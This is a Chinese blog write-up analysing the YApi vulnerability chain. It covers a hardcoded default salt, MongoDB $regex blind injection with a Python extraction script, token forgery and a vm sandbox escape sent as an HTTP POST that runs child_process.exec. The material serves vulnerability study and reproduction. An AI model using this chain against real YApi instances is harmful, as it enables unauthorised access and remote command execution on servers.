yapi 命令执行mongodb注入和vm命令执行的分析
前言:yapi 命令执行漏洞分析笔记,第一时间其实就看了,但是看了许久都无法写出能够注入的语句,索性就放弃了,今天看了其他师傅的文章之后原来才发现是这样子的,有待学习...
参考文章:https://mp.weixin.qq.com/s/eFD5FKyL9jA1l0_6jCDz_w
参考文章:https://github.com/YMFE/yapi/pull/2628/commits/432cdfeb29667eea8b82d72a265022ac9515bdb7
修复的点在server/controllers/base.js
server/utils/token.js
调试的时候发现解密的时候是通过defaultSalt,并且该值是固定的
const defaultSalt = 'abcde';
token.js的parseToken解密函数
const aseDecode = function(data, password) { /* 该方法使用指定的算法与密码来创建 decipher对象, 第一个算法必须与加密数据时所使用的算法保持一致; 第二个参数用于指定解密时所使用的密码,其参数值为一个二进制格式的字符串或一个Buffer对象,该密码同样必须与加密该数据时所使用的密码保持一致 */ const decipher = crypto.createDecipher('aes192', password); /* 第一个参数为一个Buffer对象或一个字符串,用于指定需要被解密的数据 第二个参数用于指定被解密数据所使用的编码格式,可指定的参数值为 'hex', 'binary', 'base64'等, 第三个参数用于指定输出解密数据时使用的编码格式,可选参数值为 'utf-8', 'ascii' 或 'binary'; */ let decrypted = decipher.update(data, 'hex', 'utf-8'); decrypted += decipher.final('utf-8'); return decrypted; }; const defaultSalt = 'abcde'; exports.parseToken = function parseToken(token){ if(!token)throw new Error('token 不能为空') yapi.WEBCONFIG.passsalt = yapi.WEBCONFIG.passsalt || defaultSalt; let tokens; try{ tokens = aseDecode(token, yapi.WEBCONFIG.passsalt) }catch(e){} if(tokens && typeof tokens === 'string' && tokens.indexOf('|') > 0){ tokens = tokens.split('|') return { uid: tokens[0], projectToken: tokens[1] } } return false; }
mongodb注入
一开始看到了对于token类型的限制,所以第一时间想到的一个类型过滤不严格导致的注入,接着猜测的就是在getProjectIdByToken点造成的注入
因为这里的getProjectIdByToken有两个点,但是如果是没有权限限制的访问的话就是在判断语句中的getProjectIdByToken中可以实现无权限访问
if(!tokens){ let checkId = await this.getProjectIdByToken(token); //这里可能是注入点 if(!checkId)return; }else{ token = tokens.projectToken; tokenUid = tokens.uid; }
接收参数的是来自let params = Object.assign({}, ctx.query, ctx.request.body);,跟进去的话可以发现get和body传的参数都是可以进行接收的,如下图所示
访问的是 http://127.0.0.1:3000/api/open/run_auto_test?token=1,2,3
尝试了半天,自己当时想到的就是通过token=1&token=2,这种形式发送的话yapi处理的时候是当作数组形式的,但是发现无法实现注入
想要实现mongodb这种nosql形式的注入,则需要以下面这种形式来进行注入
> db.token.find() { "_id" : 15, "project_id" : 17, "token" : "a4b6ad7f28e6e0bf0ef9", "__v" : 0 } > db.token.find({"token":"a4b6ad7f28e6e0bf0ef9"}) { "_id" : 15, "project_id" : 17, "token" : "a4b6ad7f28e6e0bf0ef9", "__v" : 0 } > db.token.find({"token":{"$ne":"a4b6ad7f28e6e0bf0ef9"}}) > db.token.find({"token":{"$ne":"a4b6ad7f28e6e0bf0efa"}}) { "_id" : 15, "project_id" : 17, "token" : "a4b6ad7f28e6e0bf0ef9", "__v" : 0 } > db.token.find({"token":{"$ne":"a4b6ad7f28e6e0bf0efa9"}})
那么就需要让token以字典的形式一样进行注入才可以生成,getProjectIdByToken的查询语句如下所示
因为上面说了传参的时候,get类型不止是url中传参,而且还可以通过body中进行传参,我自己尝试了url栏中通过?token=1&token=2这种形式,但是无法进行注入,如下所示
而url栏中传参又不能实现字典格式,但是在body中以json传参则可以实现,如下图所示
这里的话接收到的就是字典形式,直接实现注入
那么这里的话就可以通过mongodb中的正则regex来实现盲注
到了这里又有一个问题,不管是注入成功或者是注入失败回显的结果就是如下
因为现在访问相关的接口有了,所以这里找一个接口/api/project/get,如果是有权限的情况下但是参数不对导致的错误,这样就可以实现盲注对比
其他师傅的细节找的就是/api/project/get这个接口,通过注入的话checkAuth函数走的默认的权限为member
综合上述如果访问/api/project/get注入成功的话默认返回的就是没有权限
,失败的话就是请登录
这里的话就可以写对应的脚本进行注入
import requests tokenletter = "0123456789abcedf" url1 = "https://xxxxx/api/project/get" token = "" for i in range(16): for j in tokenletter: body = {"token":{"$regex":"^" + token + j}} resp = requests.get(url=url1,json=body,verify=False) if "406" in resp.text: print(body) token += j print(token)
总结:就是知道es6语法中的Object.assign方法中如果参数不验证的话十分容易导致注入的形成,这个在nodejs中需要多多学习和注意的!
模拟用户登录
token有了,但是最后利用的时候还需要uid,这里的话就可以通过parseToken函数来给tokenUid赋值
数据库中user表的查询的结果如下
当_id不为当前token对应的_id的值的时候则无权限,比如_id为1的情况下
当_id为11的情况下则访问成功
添加runAutoTest接口
可以看到执行脚本的时候就是通过vm模块来简单调用的,vm的沙箱绕过的payload很多,这里直接来一条即可
VM逃逸分析参考:https://www.cnblogs.com/zpchcbd/p/16899212.html
POST /api/project/up HTTP/1.1 Host: 127.0.0.1:3000 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 199 id=11&token=78cb3fe33988148d4909b47b429cff57ec1dce4b60fee2c397911ac7fff534d3&after_script=&pre_script=this.constructor.constructor("return process")().mainModule.require('child_process').exec('calc')
VM命令执行
带着id和对应的token访问,这里的id为11
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
2019-11-16 实现:调用API函数ShowWindow()来隐藏窗口
2019-11-16 实现:多态的综合案例
2019-11-16 实现:抽象类和多态的实例
2019-11-16 实现:多态计算机类